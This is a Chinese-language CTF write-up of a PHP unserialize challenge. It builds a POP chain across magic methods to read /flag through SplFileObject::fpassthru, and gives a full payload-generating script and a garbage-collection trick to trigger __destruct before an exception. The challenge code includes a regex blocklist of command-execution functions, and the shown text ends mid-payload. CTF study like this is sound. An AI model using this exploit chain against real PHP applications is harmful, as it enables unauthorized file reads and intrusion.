1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68
| <?php
highlight_file(__FILE__); error_reporting(0);
class Sun{ public $sun; public function __destruct(){ die("Maybe you should fly to the ".$this->sun); } }
class Solar{ private $Sun; public $Mercury; public $Venus; public $Earth; public $Mars; public $Jupiter; public $Saturn; public $Uranus; public $Neptune; public function __set($name,$key){ $this->Mars = $key; $Dyson = $this->Mercury; $Sphere = $this->Venus; $Dyson->$Sphere($this->Mars); } public function __call($func,$args){ if(!preg_match("/exec|popen|popens|system|shell_exec|assert|eval|print|printf|array_keys|sleep|pack|array_pop|array_filter|highlight_file|show_source|file_put_contents|call_user_func|passthru|curl_exec/i", $args[0])){ $exploar = new $func($args[0]); $road = $this->Jupiter; $exploar->$road($this->Saturn); } else{ die("Black hole"); } } }
class Moon{ public $nearside; public $farside; public function __tostring(){ $starship = $this->nearside; $starship(); return ''; } }
class Earth{ public $onearth; public $inearth; public $outofearth; public function __invoke(){ $oe = $this->onearth; $ie = $this->inearth; $ote = $this->outofearth; $oe->$ie = $ote; } }
if(isset($_POST['travel'])){ $a = unserialize($_POST['travel']); throw new Exception("How to Travel?"); }
|
进入靶场直接给了源码,考察php反序列化,把此题的魔术方法说一下
1 2 3 4 5
| __destruct:析构函数,对象被销毁时触发 __set:给不能访问的、没有的属性赋值时触发 __call:调用不存在的方法时触发 __tostring:对象被当作字符串时触发 __invoke:对象被当作函数时触发
|
接下来要构造pop链,很明显顺序为Sun->Moon->Earth->Solar,可以在本地构造时做个标记
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61
| <?php
highlight_file(__FILE__); error_reporting(0);
class Sun{ public $sun; public function __destruct(){ die("Maybe you should fly to the ".$this->sun); } }
class Solar{ private $Sun; public $Mercury; public $Venus; public $Earth; public $Mars; public $Jupiter; public $Saturn; public $Uranus; public $Neptune; public function __set($name,$key){ $this->Mars = $key; $Dyson = $this->Mercury; $Sphere = $this->Venus; $Dyson->$Sphere($this->Mars); } public function __call($func,$args){ if(!preg_match("/exec|popen|popens|system|shell_exec|assert|eval|print|printf|array_keys|sleep|pack|array_pop|array_filter|highlight_file|show_source|file_put_contents|call_user_func|passthru|curl_exec/i", $args[0])){ $exploar = new $func($args[0]); $road = $this->Jupiter; $exploar->$road($this->Saturn); } else{ die("Black hole"); } } }
class Moon{ public $nearside; public $farside; public function __tostring(){ $starship = $this->nearside; $starship(); return ''; } }
class Earth{ public $onearth; public $inearth; public $outofearth; public function __invoke(){ $oe = $this->onearth; $ie = $this->inearth; $ote = $this->outofearth; $oe->$ie = $ote; } }
|
这里我们用了一个php原生类SqlFileObject,在这个类当中有一个fpassthru方法
1
| fpassthru:将文件指针后面的所有内容输出
|
知道怎么构造pop链后写个生成php序列化字符串脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| <?php class Sun { public $sun; }
class Solar { private $Sun; public $Mercury; public $Venus; public $Earth; public $Mars; public $Jupiter; public $Saturn; public $Uranus; public $Neptune; } class Moon { public $nearside; public $farside; }
class Earth { public $onearth; public $inearth; public $outofearth; } $sun = new Sun(); $moon = new Moon(); $earth = new Earth(); $solar = new Solar(); $sun->sun = $moon; $moon->nearside = $earth; $earth->onearth = $solar; $earth->inearth = "ok"; $earth->outofearth = "/flag"; $solar->Mercury = $solar; $solar->Venus = "SplFileObject"; $solar->Jupiter = "fpassthru";
$arr = array($sun, 0); echo urlencode(serialize($arr)); echo PHP_EOL . serialize($arr);
|
这时候会发现不管传什么都会抛出错误,因为源码中有这一句话
1
| throw new Exception("How to Travel?");
|
当抛出错误后,是不会触发destruct魔术方法的,这时候就要绕过这个抛错,我们可以在抛出错误之前让对象销毁吗?当然可以
1
| 我们可以利用php中的GC回收机制,这是用于内存回收用的,在php中有分简单类型和复杂类型,复杂类型像数组,对象这种复杂类型拷贝值的开销太大,所以这会通过引用次数来让变量共用内存,到引用次数到0时回收内存,也就是销毁对象,从而实现在抛出错误前触发__destruct魔术方法
|
1
| a:2:{i:0;O:3:"Sun":1:{s:3:"sun";O:4:"Moon":2:{s:8:"nearside";O:5:"Earth":3:{s:7:"onearth";O:5:"Solar":9:{s:10:"
|